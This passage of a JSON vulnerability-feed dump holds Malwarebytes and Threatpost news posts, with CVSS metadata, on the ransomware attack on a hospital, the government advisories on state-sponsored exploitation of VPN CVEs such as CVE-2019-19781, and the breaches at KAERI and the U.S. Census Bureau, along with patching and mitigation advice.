operations.\n\nBecause of the admissions stop, a woman in need of immediate help had to be driven to the hospital of Wuppertal which is about 20 miles further. Unfortunately, she died upon arrival. The extra 30 minutes it took to get her to the next hospital turned out to be fatal. \n\nAs it turned out, the target of the ransomware gang was not even the hospital, but the university the hospital belongs to. When the attackers learned that the hospital had fallen victim as well, they handed over the decryption key for free. Despite that key, it took the hospital more than two weeks to reach a level of operability that allowed them to take on new patients. \n\nThis is not only tragic because the woman might have been saved if the university hospital had been operational, but also because it demonstrates once more how one of the most important parts of our infrastructure is lacking adequate defenses against prevalent threats likes ransomware.\n\n### What are the main problems facing healthcare security?\n\nIn the past we have identified several elements that make the healthcare industry, and hospitals in particular, more vulnerable to cyberthreats than many other verticals. \n\nHere are some of those problem elements:\n\n * The Internet of Things (IoT): Due to their nature and method of use, you will find a lot of IoT devices in hospitals that all run on different operating systems and require specific security settings in order to shield them from the outside world.\n * Legacy systems: Quite often, older equipment will not run properly under newer operating systems which results in several systems that are running on an outdated OS and even on software that has reached the [end-of-life point](<https://blog.malwarebytes.com/awareness/2020/03/windows-7-is-eol-what-next/>). This means that the software will no longer receive patches or updates even when there are known issues.\n * Lack of adequate backups: Even when the underlying problem has been resolved, it can take far too long for an attacked target to get back to an operational state. Institutes need to at least have a backup plan and maybe even backup equipment and servers for the most vital functions so they can keep them running when disaster strikes.\n * Extra stressors: Additional issues like COVID-19, fires, and other natural disasters can cut time and push aside the need to perform updates, make backups, or think about anything cybersecurity related. These stressors and other reasons are often referred to as "we have more important things to do."\n\n### IoT security risks\n\nMany medical devices that investigate and monitor the patient are connected to the internet. We consider them to be part of the [Internet of Things (IoT)](<https://blog.malwarebytes.com/101/2017/12/internet-things-iot-security-never/>). This group of devices comes with its own set of security risks, especially when it comes to [personally ](<https://blog.malwarebytes.com/security-world/2019/04/what-is-personal-information-in-legal-terms-it-depends/>)[identifiable](<https://blog.malwarebytes.com/security-world/2019/04/what-is-personal-information-in-legal-terms-it-depends/>)[ information (PII)](<https://blog.malwarebytes.com/security-world/2019/04/what-is-personal-information-in-legal-terms-it-depends/>). \n\nIn every case it is advisable to investigate whether the devices\u2019 settings allow to approach it over the intranet instead of the internet. If possible, that makes it easier to shield the device from unauthorized access and keep the sensitive data inside the security perimeter.\n\n### Legacy systems\n\nMedical systems come from various suppliers and in any hospital you will find many different types. Each with their own goal, user guide, and updating regime. For many legacy systems, the acting rule of thumb will be not to tinker with it if it works. The fear of a system failure outweighs the urgency to install the latest patches. And we can relate to that state of mind except when applied to security updates on a connected system.\n\n### Disaster stress\n\nOkay, here comes our umpteenth mention of COVID-19\u2014I know, but it is a factor that we can\u2019t ignore. \n\nThe recent global pandemic contributes to the lack of time that IT staff at many healthcare organizations feel they have. The same is true for many other disasters that require emergency solutions to be set up. \n\nIn some cases, entire specialized clinics were built to deal with COVID-19 victims, and to replace lost capacity in other disasters like wildfires and earth slides.\n\n### More important matters at hand?\n\nIt's difficult to overstate the importance of "triage" in the healthcare system. Healthcare professionals like nurses and doctors likely practice it every day, prioritizing the most critical patient needs on a second-by-second basis. \n\nIt should serve as no surprise that triaging has a place in IT administration, too. Healthcare facilities should determine which systems require immediate attention and which systems can wait. \n\nInterestingly, the CISO of the hospital which suffered from the ransomware attack was accused of negligence in some German media. Law enforcement in Germany is moving forward with both trying to identify the individuals behind the ransomware attack, as well as potentially charging them with negligent manslaughter because of the woman's death. \n\nWhile we can hardly blame the CISO for the woman\u2019s death, there may come a time when inadequate security and its results may carry punishment for those responsible.\n\n### Ransomware in particular\n\nThe ransomware at play in the German case was identified as DoppelPaymer and it was determined to be planted inside the organization using the [CVE-2019-19781](<https://support.citrix.com/article/CTX267027>) vulnerability in Citrix VPNs. \n\nIn more recent news, we learned that [UHS hospitals](<https://www.bleepingcomputer.com/news/security/uhs-hospitals-hit-by-reported-country-wide-ryuk-ransomware-attack/>) in the US were hit by [Ryuk ransomware](<https://blog.malwarebytes.com/detections/ransom-ryuk/>). \n\nIt's also important to remember that the costs of a [ransomware attack ](<https://www.malwarebytes.com/ransomware/>)are often underestimated. People tend to look only at the actual ransom amount demanded, but the additional costs are often much higher than that. \n\nIt takes many people-hours to restore all the affected systems in an organization and return to a fully operational state. The time to recover will be lower in an organization that comes prepared. Having a restoration plan and adequate backups that are easy to deploy can streamline the process of getting back in business. Another important task is to figure out how it happened and how to plug the hole, so it won\u2019t happen again. Also, a thorough investigation may be necessary to check whether the attacker did not leave any [backdoors ](<https://www.malwarebytes.com/backdoor/>)behind.\n\n### There\u2019s a problem for every solution\n\nSecurity will probably never reach a watertight quality, so besides making our infrastructure, especially the vital parts of it, as secure as possible, we also need to think ahead and make plans to deal with a breach. Whether it\u2019s a data breach or an attack that cripples important parts of our systems, we want to be prepared. Knowing what to do\u2014and in what order\u2014can save a lot of time in disaster recovery. Having the tools and backups at hand is the second step in limiting the damages and help with a speedy recovery.\n\nTo sum it up, you are going to need:\n\n * Recovery plans for different scenarios: [data breaches](<https://www.malwarebytes.com/data-breach/>), ransomware attacks, you name it\n * File backups that are recent and easy to deploy or another type of rollback method\n * Backup systems that can take over when critical systems are crippled\n * Training for those involved, or at least an opportunity to familiarize them with the steps of the recovery plans\n\nAnd last but not least, don\u2019t forget to focus on prevention. The best thing about a recovery plan is when you never need it.\n\nStay safe, everyone!\n\nThe post [Healthcare security update: death by ransomware, what's next?](<https://blog.malwarebytes.com/business-2/2020/10/healthcare-security-death-by-ransomware/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-10-08T15:30:00", "type": "malwarebytes", "title": "Healthcare security update: death by ransomware, what\u2019s next?", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2020-10-08T15:30:00", "id": "MALWAREBYTES:D7EFF87E8AB1DBEC63A0DBE7F8DA90B8", "href": "https://blog.malwarebytes.com/business-2/2020/10/healthcare-security-death-by-ransomware/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-04-16T16:30:59", "description": "The National Security Agency (NSA), the Cybersecurity and Infrastructure Security Agency (CISA), and the Federal Bureau of Investigation (FBI) have jointly released a Cybersecurity Advisory called [Russian SVR Targets U.S. and Allied Networks](<https://media.defense.gov/2021/Apr/15/2002621240/-1/-1/0/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF>), to expose ongoing Russian Foreign Intelligence Service (SVR) exploitation of five publicly known vulnerabilities. The advisories' executive summary reads:\n\n> Russian Foreign Intelligence Service (SVR) actors, who are also known under the names APT29, Cozy Bear, and The Dukes frequently use publicly known vulnerabilities to conduct widespread scanning and exploitation against vulnerable systems in an effort to obtain authentication credentials and use those to gain further access. This targeting and exploitation encompasses US and allied networks, including national security and government related systems.\n\n### Remarkable mentions in the cybersecurity advisory\n\nReleased alongside the advisory is the US Government\u2019s formal attribution of the [SolarWinds](<https://blog.malwarebytes.com/threat-analysis/2020/12/advanced-cyber-attack-hits-private-and-public-sector-via-supply-chain-software-update/>) supply chain compromise, and the cyber espionage campaign related to it, to Russia.\n\nMentioned are recent SVR activities that include targeting COVID-19 research facilities via [WellMess malware](<https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198c>) and targeting networks through a VMware vulnerability disclosed by NSA.\n\n### Vulnerabilities\n\nNSA, CISA, and the FBI are encouraging organizations to check their networks for Indicators of Compromise (IOCs) related to five vulnerabilities.\n\nPublicly disclosed computer security flaws are listed in the Common Vulnerabilities and Exposures (CVE) database. Its goal is to make it easier to share data across separate vulnerability capabilities (tools, databases, and services).\n\nThe advisory lists the following CVEs:\n\n * [CVE-2018-13379](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-13379>) as discussed here: [Fortinet FortiGate VPN](<https://www.fortiguard.com/psirt/FG-IR-18-384>)\n * [CVE-2019-9670](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9670>) as discussed here: [Synacor Zimbra Collaboration Suite](<https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories>)\n * [CVE-2019-11510](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11510>) as discussed here: [Pulse Secure Pulse Connect Secure VPN](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101>)\n * [CVE-2019-19781](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-19781>) as discussed here: [Citrix Application Delivery Controller and Gateway](<https://support.citrix.com/article/CTX267027>)\n * [CVE-2020-4006](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-4006>) as discussed here: [VMware Workspace ONE Access](<https://www.vmware.com/security/advisories/VMSA-2020-0027.html>)\n\nWe have added a link to the vendor\u2019s sites where they discuss the vulnerabilities and where you can find how to patch them. As you can see most of those are quite old (the first four digits in a CVE ID are the year in which the CVE was issued) and patches have been available for a considerable time.\n\n### General mitigation strategy\n\nWhile some vulnerabilities have specific additional mitigations that you can read about in the items linked in the list above, the advisory hands us the following general mitigations:\n\n * Keep systems and products updated and patch as soon as possible after patches are released since many actors exploit numerous vulnerabilities.\n * Expect that the risk from data stolen or modified (including credentials, accounts, and software) before a device was patched will not be alleviated by patching or simple remediation actions. Assume that a breach will happen, enforce least-privileged access, and make password changes and account reviews a regular practice.\n * Disable external management capabilities and set up an out-of-band management network.\n * Block obsolete or unused protocols at the network edge and disable them in device configurations.\n * Isolate Internet-facing services in a network Demilitarized Zone (DMZ) to reduce exposure of the internal network.\n * Enable robust logging of Internet-facing services and authentication functions. Continuously hunt for signs of compromise or credential misuse, particularly within cloud environments.\n * Adopt a mindset that compromise happens; prepare for incident response activities, only communicate about breaches on out-of-band channels, and take care to uncover a breach\u2019s full scope before remediating.\n\n### Techniques\n\nThe techniques leveraged by SVR actors include:\n\n * **Exploiting public-facing applications**. Adversaries may attempt to take advantage of a weakness in an Internet-facing computer or program using software, data, or commands in order to cause unintended or unanticipated behavior.\n * **Leveraging external remote services**. Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms (notably RPD) allow users to connect to internal enterprise network resources from external locations.\n * **Compromising supply chains**. Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.\n * **Using valid accounts**. Adversaries may obtain and abuse credentials of existing accounts as a means of gaining access or elevating permissions.\n * **Exploiting software for credential access**. Adversaries may exploit software vulnerabilities in an attempt to collect credentials.\n * **Forging web credentials**: SAML tokens. An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.\n\nThe items listed under mitigations and techniques probably won't be new to many of the people reading this, but they are a reminder that security, even against nation-state actors, is often a matter of getting some important but mundane things right, over and over again.\n\nStay safe, everyone!\n\nThe post [Patch now! NSA, CISA, and FBI warn of Russian intelligence exploiting 5 vulnerabilities](<https://blog.malwarebytes.com/malwarebytes-news/2021/04/patch-now-nsa-cisa-and-fbi-warn-of-russian-intelligence-exploiting-5-vulnerabilities/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "edition": 2, "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.1, "privilegesRequired": "HIGH", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-04-16T14:59:38", "type": "malwarebytes", "title": "Patch now! NSA, CISA, and FBI warn of Russian intelligence exploiting 5 vulnerabilities", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-11510", "CVE-2019-19781", "CVE-2019-9670", "CVE-2020-4006"], "modified": "2021-04-16T14:59:38", "id": "MALWAREBYTES:80B21E934B1C43C7071F039FE9512208", "href": "https://blog.malwarebytes.com/malwarebytes-news/2021/04/patch-now-nsa-cisa-and-fbi-warn-of-russian-intelligence-exploiting-5-vulnerabilities/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2021-06-21T14:31:54", "description": "Remember when we told you to patch your VPNs already? I hate to say "I told you so", but I informed you thusly.\n\nAccording to South Korean officials a North Korean cyber-espionage group managed to infiltrate the network of South Korea's state-run nuclear research institute last month.\n\n### The crime: time and place\n\nCybersecurity news hounds The Record report that a spokesperson for the Korea Atomic Energy Research Institute (KAERI) said [the intrusion took place last month](<https://therecord.media/north-korean-hackers-breach-south-koreas-atomic-research-agency-through-vpn-bug/>), on May 14 to be exact, through a vulnerability in a virtual private network (VPN) server. Since its establishment in 1959, KAERI has been the only research institute in Korea dedicated to nuclear energy. Reportedly, thirteen unauthorized IP addresses accessed KAERI\u2019s internal network.\n\n### The suspect: Kimsuky\n\nSome of the addresses could be traced back to the APT group called Kimsuky. One of the IP addresses was used in an attack that targeted COVID-19 vaccine developers in South Korea last year.\n\nNorth Korean cyber-attacks on its southern neighbor are not uncommon. And Kimsuky is the APT that is best known for these attacks. The Kimsuky APT is a North Korean threat actor that has been active since 2012 and targets government entities mainly in South Korea. Recently, we reported about [this group using the AppleSeed backdoor](<https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/>) against the Ministry of Foreign Affairs of South Korea.\n\n### The victim: KAERI\n\nKAERI is a national research institute which was instrumental in developing nuclear technology for power generation and industrial applications. And while North Korea is ahead of South Korea in some nuclear fields\u2014notably nuclear weapons\u2014it is thought to be weaker than its neighbor when it comes to energy generation. As we stated in our earlier [report](<https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/>) one of the other targets was the nuclear security officer for the International Atomic Energy Agency (IAEA), a UN organization tasked with nuclear regulations and cooperation.\n\n### The weapon: a VPN vulnerability\n\nIn a [statement](<https://translate.google.com/translate?sl=auto&tl=en&u=https://www.kaeri.re.kr/board/view?menuId%3DMENU00326%26linkId%3D9181>), KAERI says that an unidentified outsider accessed parts of its system using weaknesses in its virtual private network (VPN). It also states that the attackers' IP addresses was blocked, and its system upgraded, when it found out about the attack, on May 31. \n\nThe name of the VPN vendor is being kept secret. Although we can't rule out a zero-day, that fact that this wasn't mentioned, and that the system was updated in response, suggests it wasn't. It certainly doesn't need to be, and there are a lot of known vulnerabilities in the running. Many of them are years old, and many are known to be used in the wild. Even though patches are available, the application of these patches has taken some organizations quite some time. \n\nWe also wrote recently about vulnerabilities in the [Pulse Secure VPN](<https://blog.malwarebytes.com/malwarebytes-news/2021/04/take-action-multiple-pulse-secure-vpn-vulnerabilities-exploited-in-the-wild/>). Pulse issued a final patch on May 3 for a set of vulnerabilities that were used in the wild.\n\nThe NSA also issued an [advisory](<https://www.nsa.gov/News-Features/Feature-Stories/Article-View/Article/2573391/russian-foreign-intelligence-service-exploiting-five-publicly-known-vulnerabili/>) in April about five publicly known vulnerabilities being exploited by the Russian Foreign Intelligence Service (SVR). The CVE numbers used to identify vulnerabilities start with year the CVE was issued. What's most striking about the NSA's list is just how old most of the vulnerabilities on it are.\n\n * [CVE-2018-13379](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-13379>) Fortinet FortiGate VPN\n * [CVE-2019-9670](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9670>) Synacor Zimbra Collaboration Suite\n * [CVE-2019-11510](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11510>) Pulse Secure Pulse Connect Secure VPN\n * [CVE-2019-19781](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-19781>) Citrix Application Delivery Controller and Gateway\n * [CVE-2020-4006](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-4006>) VMware Workspace ONE Access\n\nAs you can see, most of them are VPNs and other networking-related applications. By design a VPN is remotely accessible, which makes it a target that attackers can reach from anywhere. A VPN or gateway is always a likely target, especially if it has a known vulnerability. And a seasoned APT group, like Kimsuky, will have fewer problems reverse-engineering patches than your everyday cybercriminal.\n\n### Patching or lack thereof\n\nThe risky strategy of little-to-no-patching stands a good chance of going horribly wrong. A [Forbes study](<https://www.forbes.com/sites/taylorarmerding/2019/06/06/report-if-you-dont-patch-you-will-pay>) of 340 security professionals in 2019 found 27% of organizations worldwide, and 34% in Europe, said they\u2019d experienced breaches due to unpatched vulnerabilities. If an inability to patch promptly is compounded by delays in detecting new systems added to networks, and a lack of regular vulnerability scanning, attackers are left with a lot of room to work with.\n\nStay safe, everyone!\n\nThe post [Atomic research institute breached via VPN vulnerability](<https://blog.malwarebytes.com/reports/2021/06/atomic-research-institute-breached-via-vpn-vulnerability/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "edition": 2, "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.1, "privilegesRequired": "HIGH", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-06-21T13:53:03", "type": "malwarebytes", "title": "Atomic research institute breached via VPN vulnerability", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-11510", "CVE-2019-19781", "CVE-2019-9670", "CVE-2020-4006"], "modified": "2021-06-21T13:53:03", "id": "MALWAREBYTES:BAB94968DD1EC37DA6F977226977DAF5", "href": "https://blog.malwarebytes.com/reports/2021/06/atomic-research-institute-breached-via-vpn-vulnerability/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2022-10-14T00:05:09", "description": "In [a joint cybersecurity advisory](<https://www.nsa.gov/Press-Room/Press-Releases-Statements/Press-Release-View/Article/3181261/nsa-cisa-fbi-reveal-top-cves-exploited-by-chinese-state-sponsored-actors/>), the National Security Agency (NSA), the Cybersecurity and Infrastructure Security Agency (CISA), and the Federal Bureau of Investigation (FBI) have revealed the top CVEs used by state-sponsored threat actors from China.\n\nThe advisory aims to \"inform federal and state, local, tribal and territorial (SLTT) government; critical infrastructure, including the Defense Industrial Base Sector; and private sector organizations about notable trends and persistent tactics, techniques, and procedures (TTPs).\"\n\nThe US and other allied nations consider China a cyber threat as it continues to target and attack companies in the US and elsewhere, with the primary aim of stealing intellectual property or gaining access to sensitive networks. The usual targets range from organizations in the IT sector, including telecommunications service providers; the [DIB (Defense Industrial Base)](<https://www.cisa.gov/defense-industrial-base-sector>) sector, which is related to military weapons systems; and other critical infrastructure sectors.\n\nIt is no surprise, then, that a majority of the CVEs revealed are for flaws allowing actors to surreptitiously and unlawfully gain access to networks. Within these networks, they establish persistence and move laterally to other connected systems.\n\nThe advisory is part of a concerted effort by US government agencies, particularly CISA, to push companies into getting on top of their patching. Part of that is getting them to patch much faster, and the other is getting them to focus on patching the vulnerabilities that threat actors are known to use.\n\nLast year, CISA [began publishing a catalog of actively exploited vulnerabilities](<https://www.malwarebytes.com/blog/news/2021/11/cisa-sets-two-week-window-for-patching-serious-vulnerabilities>) that need ot be patched within two weeks on federal information systems. The agencies behind this latest advisory have also collaborated in the past on a list of [vulnerabilities favored by Russian state-sponsored threat actors](<https://www.malwarebytes.com/blog/news/2021/04/patch-now-nsa-cisa-and-fbi-warn-of-russian-intelligence-exploiting-5-vulnerabilities>).\n\nIf your organization's intellectual property is likely to be of interest to China, this is list is for you. And if it isn't, this list is still worth paying attention to.\n\n## The vunerabilities\n\n### Remote code execution (RCE)\n\nRCE flaws let attackers execute malicious code on a compromised, remote computer. The advisory identifies 12 RCEs: [CVE-2021-44228](<https://nvd.nist.gov/vuln/detail/CVE-2021-44228>) (also known as [Log4Shell or LogJam](<https://www.malwarebytes.com/blog/news/2021/12/log4j-zero-day-log4shell-arrives-just-in-time-to-ruin-your-weekend>)), [CVE-2021-22205](<https://www.malwarebytes.com/blog/news/2021/09/patch-vcenter-server-right-now-vmware-expects-cve-2021-22005-exploitation-within-minutes-of-disclosure>), [CVE-2022-26134](<https://www.malwarebytes.com/blog/news/2022/06/unpatched-atlassian-confluence-vulnerability-is-actively-exploited>), [CVE-2021-26855](<https://www.malwarebytes.com/blog/news/2022/03/avoslocker-ransomware-uses-microsoft-exchange-server-vulnerabilities-says-fbi>), [CVE-2020-5902](<https://nvd.nist.gov/vuln/detail/CVE-2020-5902>), [CVE-2021-26084](<https://www.malwarebytes.com/blog/news/2022/04/the-top-5-most-routinely-exploited-vulnerabilities-of-2021>), [CVE-2021-42237](<https://nvd.nist.gov/vuln/detail/CVE-2021-42237>), [CVE-2022-1388](<https://www.malwarebytes.com/blog/news/2022/05/update-now-exploits-are-active-for-f5-big-ip-vulnerability>), [CVE-2021-40539](<https://www.malwarebytes.com/blog/news/2022/04/the-top-5-most-routinely-exploited-vulnerabilities-of-2021>), [CVE-2021-26857](<https://www.malwarebytes.com/blog/news/2022/04/the-top-5-most-routinely-exploited-vulnerabilities-of-2021>), [CVE-2021-26858](<https://www.malwarebytes.com/blog/news/2021/03/patch-now-exchange-servers-attacked-by-hafnium-zero-days>), and [CVE-2021-27065](<https://www.malwarebytes.com/blog/news/2021/03/patch-now-exchange-servers-attacked-by-hafnium-zero-days>).\n\n### Arbitrary file read\n\nThe advisory identifies two arbitrary file read flaws--[CVE-2019-11510](<https://www.malwarebytes.com/blog/business/2019/10/pulse-vpn-patched-their-vulnerability-but-businesses-are-trailing-behind>) and [CVE-2021-22005](<https://www.malwarebytes.com/blog/news/2021/09/patch-vcenter-server-right-now-vmware-expects-cve-2021-22005-exploitation-within-minutes-of-disclosure>)--which allow users or malicious programs with low privileges to read (but not write) any file on the affected system or server. Useful for stealing data.\n\n### Authentication bypass by spoofing\n\n[CVE-2022-24112](<https://nvd.nist.gov/vuln/detail/CVE-2022-24112>) is an authentication bypass flaw that allows attackers to access resources they shouldn't have access to by spoofing an IP address.\n\n### Command injection\n\n[CVE-2021-36260](<https://www.malwarebytes.com/blog/news/2022/08/thousands-of-hikvision-video-cameras-remain-unpatched-and-vulnerable-to-takeover>) is a command injection flaw that allows attackers to execute commands of their own choosing on an affected system. A vulnerable app is usually involved in such attacks.\n\n### Command line execution\n\n[CVE-2021-1497](<https://nvd.nist.gov/vuln/detail/CVE-2021-1497>) is a command injection flaw that allows attackers to inject data into an affected system's command line.\n\n### Path Traversal\n\nAlso known as \"directory traversal,\" these flaws allow attackers to read, and possibly write to, restricted files by inputting path traversal sequences like `../` into file or directory paths. [CVE-2019-19781](<https://www.malwarebytes.com/blog/news/2021/06/atomic-research-institute-breached-via-vpn-vulnerability>), [CVE-2021-41773](<https://www.malwarebytes.com/blog/news/2021/10/apache-http>), and [CVE-2021-20090](<https://www.malwarebytes.com/blog/news/2021/08/home-routers-are-being-hijacked-using-vulnerability-disclosed-just-2-days-ago>) are all forms of path traversal attack.\n\n## Mitigations\n\nThe NSA, CISA, and FBI urge organizations to undertake the following mitigations:\n\n * * Apply patches as they come, prioritizing the most critical l flaws in your environment.\n * Use multi-factor authentication.\n * Require the use of strong, unique passwords.\n * Upgrade or replace software or devices that are at, or close to, their end of life.\n * Consider adopting a [zero-trust security model](<https://www.malwarebytes.com/blog/news/2020/01/explained-the-strengths-and-weaknesses-of-the-zero-trust-model>).\n * Monitor and log Internet-facing systems for abnormal activity.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-10-13T16:15:00", "type": "malwarebytes", "title": "Chinese APT's favorite vulnerabilities revealed", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510", "CVE-2019-19781", "CVE-2020-5902", "CVE-2021-1497", "CVE-2021-20090", "CVE-2021-22005", "CVE-2021-22205", "CVE-2021-26084", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-36260", "CVE-2021-40539", "CVE-2021-41773", "CVE-2021-42237", "CVE-2021-44228", "CVE-2022-1388", "CVE-2022-24112", "CVE-2022-26134"], "modified": "2022-10-13T16:15:00", "id": "MALWAREBYTES:D081BF7F95E3F31C6DB8CEF9AD86BD0D", "href": "https://www.malwarebytes.com/blog/news/2022/10/psa-chinese-apts-target-flaws-that-take-full-control-of-systems", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "threatpost": [{"lastseen": "2021-08-19T14:50:21", "description": "Threat actors exploited an [unpatched Citrix flaw](<https://threatpost.com/unpatched-citrix-flaw-exploits/151748/>) to breach the network of the U.S. Census Bureau in January in an attack that was ultimately halted before a backdoor could be installed or sensitive data could be stolen, according [to a report](<https://www.oig.doc.gov/OIGPublications/OIG-21-034-A.pdf>) by a government watchdog organization.\n\nHowever, investigators found that officials were informed of the flaw in its servers and had at least two opportunities to fix it before the attack, mainly due to lack of coordination between teams responsible for different security tasks, according to the report, published Tuesday by the U.S. Department of Commerce Office of Inspector General. The bureau also lagged in its discovery and reporting of the attack after it happened.\n\nThe report details and reviews the incident that occurred on Jan. 11, 2020, when attackers used the publicly available exploit for a critical flaw to target remote-access servers operated by the bureau. \n[](<https://threatpost.com/infosec-insider-subscription-page/?utm_source=ART&utm_medium=ART&utm_campaign=InfosecInsiders_Newsletter_Promo/>) \nCitrix released a public notice about the zero-day flaw\u2014tracked as [CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>)\u2013in December. In January, a representative from the bureau\u2019s Computer Incident Response Team (CIRT_ attended two meetings in which the flaw was discussed and attendees even received a link to steps to use fixes which already had been issued by Citrix.\n\n\u201cDespite the publicly available notices released in December and attending two meetings on the issue in January, the bureau CIRT did not coordinate with the team responsible for implementing these mitigation steps until after the servers had been attacked,\u201d according to the report. Doing so could have prevented the attack, investigators noted.\n\n## **\u2018Partially Successful\u2019 Attack**\n\nThe Citrix products affected by the flaw\u2013[discovered](<https://threatpost.com/critical-citrix-bug-80000-corporate-lans-at-risk/151444/>) by Mikhail Klyuchnikov, a researcher at Positive Technologies\u2014are used for application-aware traffic management and secure remote access, respectively. At least 80,000 organizations in 158 countries\u2014about 38 percent in the U.S.\u2014use these products, formerly called NetScaler ADC and Gateway.\n\nThe initial compromise at the Census Bureau was on servers used to provide the bureau\u2019s enterprise staff with remote-access capabilities to production, development and lab networks. The servers did not provide access to 2020 decennial census networks, officials told investigators.\n\n\u201cThe exploit was partially successful, in that the attacker modified user account data on the systems to prepare for remote code execution,\u201d according to the report. 